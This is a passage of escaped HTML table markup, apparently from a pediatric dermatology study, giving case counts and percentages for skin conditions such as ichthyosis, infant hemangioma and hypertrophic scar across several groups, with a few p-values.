</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pelad</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (9.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scleroderma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erythema nodosum</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Genodermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ichtyosis vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (14.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (66.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (33.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">K&eacute;ratosis pilaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (57.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hereditary epidermolysis bullosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (75.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Verruciform epidermodysplasia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (14.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (16.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Neurofibromatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (16.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (16.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Palmoplantar keratoderma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (33.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Piryriasisrubra pilaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (16.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mosa&iuml;cism</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (14.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Baby collodion</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (25.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Toxidermia</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fixed pigmented erythema</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (66.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (25.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (33.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (33.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">other toxidermia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (33.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (75.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (66.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (66.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Tumoral dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hypertrophic scar</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (22.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (80.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6 (60.0)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (50.0)</span></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infant hemangiome</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13 (72.2)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (10.0)</span></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Warty nevus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (20.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (20.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kaposi disease</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (5.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (10.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Botriomycoma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			